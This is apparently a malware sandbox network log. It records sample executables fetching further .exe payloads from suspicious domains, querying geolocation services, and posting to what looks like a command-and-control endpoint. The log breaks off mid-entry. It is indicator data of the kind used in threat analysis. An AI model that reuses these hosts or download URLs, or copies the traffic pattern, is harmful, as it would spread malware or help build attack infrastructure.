                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jora9Jf838Hh%2F32DSCxkuC0le08RehNnE9pWlkWjSnwGHH0kdcEqfi1YGsWmWaP0cjxUOsyV9vvyr0ZPtO%2BpJIb7RPkJ7S3v8TJ%2B7eEVjhG070IBqQrd2jyscjBajdZm2bToiDwgdg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329d8ae744be9-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p4_6
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p4_6 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:30 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FnFGDCi7mONr0R9ZWqoMBFuQOGyo%2FdgqA8FKBlk70P2XeuJFRQb0MaJNymjqlgPj862PnCs%2FfQ4hDzGI95VYINJC%2B9umZm3u5XPrP5x6MKhdf0gcb7K78YvKPPDhEcKWo0bhYdschQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329d94f224be9-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:23 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=m4j8Uf027Vu7UotUpje8K1t4J06%2Ba1yfZcJpRUP6EoDgmXpjFmKnuIG6NGE%2FRmC7GJLy5THigS%2FTQOJXRnrPc9BY2HGAUgBToDuNq0xyyKL%2FGYmYjzEkTqgAng%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329b14cd1bf50-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          cxnmgIGgZFGjgX5yjI_f3JeN.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:25 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ef1FeBJZNAsXOeEaRIh3dkmsomg923BdJkJra1bPZc0bS6IK8cHvoFJPoTc2RIir5w%2BDnnuiSG%2Bzhau%2FtIzttp2O3Xgqci4BweLwBbBmhwbjwkPEr9o5uskIsA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329bbaaae4c91-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          34.97.69.225
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          google.vrthcobj.com
                                                                                                                                                                                                                                          IN AAAA
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          lFBObrH6EHMpheoAYeJGm8Xi.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:27 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Nq06bUYcbKpHyntBBoo69u7Pj7VYMv2ECHAUGPU4ZUAjYXEe0p5rMd1924%2FdCs2%2F5T0ZY6ygCADYfV7Hr4Ll0hx%2FoMzibbiieQbMzY8Sa0gvMVy9lTNkPenrTA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329c7cc770c69-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://perfect-request-smart.com/wrsm39aa8nk2ghz7xezsekgpwbmq56/publish/qb8zr5zmpb2n6ea.exe
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          66.29.130.154:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /wrsm39aa8nk2ghz7xezsekgpwbmq56/publish/qb8zr5zmpb2n6ea.exe HTTP/1.1
                                                                                                                                                                                                                                          Host: perfect-request-smart.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:27 GMT
                                                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 15:14:20 GMT
                                                                                                                                                                                                                                          ETag: "51c00-5c9ff1f264b00"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 334848
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://perfect-request-smart.com/wrsm39aa8nk2ghz7xezsekgpwbmq56/kenpa/a5ap52bdw952kqx.exe
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          66.29.130.154:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /wrsm39aa8nk2ghz7xezsekgpwbmq56/kenpa/a5ap52bdw952kqx.exe HTTP/1.1
                                                                                                                                                                                                                                          Host: perfect-request-smart.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:29 GMT
                                                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 15:33:56 GMT
                                                                                                                                                                                                                                          ETag: "b0000-5c9ff653ea100"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 720896
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://perfect-request-smart.com/wrsm39aa8nk2ghz7xezsekgpwbmq56/keyHandler/pzamcx87wcuq5kn.exe
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          66.29.130.154:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /wrsm39aa8nk2ghz7xezsekgpwbmq56/keyHandler/pzamcx87wcuq5kn.exe HTTP/1.1
                                                                                                                                                                                                                                          Host: perfect-request-smart.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:30 GMT
                                                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 15:00:38 GMT
                                                                                                                                                                                                                                          ETag: "76400-5c9feee279180"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 484352
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          88.99.66.31
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://2no.co/1DSJe7
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1DSJe7 HTTP/1.1
                                                                                                                                                                                                                                          Host: 2no.co
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:30 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=3hqed5lpsl2do6vn5jdj9shh15; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506601; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers: 1
                                                                                                                                                                                                                                          whoami: acce61361a3dee677653fa2909f29530202335835c71031ba4dff50682ae5de8
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.79.144
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.146.70
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          requestimmersive.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          requestimmersive.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          requestimmersive.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          162.0.220.187
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://requestimmersive.com/t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.0.220.187:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /t7gu47xyp4mj4ekapans/zkau68gvw5aqjawnxpeg HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          Host: requestimmersive.com
                                                                                                                                                                                                                                          Content-Length: 224
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.21.1
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          X-RateLimit-Limit: 60
                                                                                                                                                                                                                                          X-RateLimit-Remaining: 55
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:31 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          HrVJwX4JK_BrfAM01ZGJkPgU.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.12.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:31 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7OYKwlMVbp0QYLcIXbqZ9b0hcUwm2viBGOfsuTpq8ChgiCPuX1piYo01DjvQYhq3rNfc5q1oX6PLEMl6YsgOv%2Fe7kqKHyDNbKII8UM%2BvwLFcPXTzWcFvnwBNHg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329e0a9c44bdd-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          mL2rYXpFioAg4soYQ2n6oACG.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:37 GMT
                                                                                                                                                                                                                                          Content-Length: 578669
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Wed, 28 Jul 2021 11:35:54 GMT
                                                                                                                                                                                                                                          etag: "8d46d-5c82d63a8d95c"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Yf6jiYzTfdu%2FxvWblCpGNtOTOUS6rSwtletEV2MG0mV74oO5LoGK4PqCN8kcM%2FUGKFtBAA3uzKw724LGfb4eosZ7Q0iyg5NNcNjpfrEP%2BW7KqoJVkiYlMNH0cVV8Teh%2F"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a078f61faa0-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/sqlite.dll
                                                                                                                                                                                                                                          mL2rYXpFioAg4soYQ2n6oACG.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/sqlite.dll HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:41 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Content-Length: 75776
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          last-modified: Sun, 15 Aug 2021 13:23:49 GMT
                                                                                                                                                                                                                                          etag: "12800-5c998feb85e3f"
                                                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6T1uXSuDJ9ireXU8en7S11CM67bYN3ptAqinYt5BZ1Icw4xduQoEBAwHiQzOHdxovyZwoM2uoFs%2F3UZQWbU21l%2FrLA6eivDh8sx2x6NbfsSjOhfS2flEnJyyGSQQpXM4"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232a208b8afaa0-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://205.185.119.191:18846/
                                                                                                                                                                                                                                          YaAMUeDiAq6Xh8JKn8FPm07d.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          205.185.119.191:18846
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 205.185.119.191:18846
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:42 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://205.185.119.191:18846/
                                                                                                                                                                                                                                          YaAMUeDiAq6Xh8JKn8FPm07d.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          205.185.119.191:18846
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 205.185.119.191:18846
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4664
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:47 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          34.117.59.81
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ipinfo.io/country
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Found
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          location: https://ipinfo.io/country
                                                                                                                                                                                                                                          vary: Accept, Accept-Encoding
                                                                                                                                                                                                                                          content-type: text/plain; charset=utf-8
                                                                                                                                                                                                                                          content-length: 47
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:26:44 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 0
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
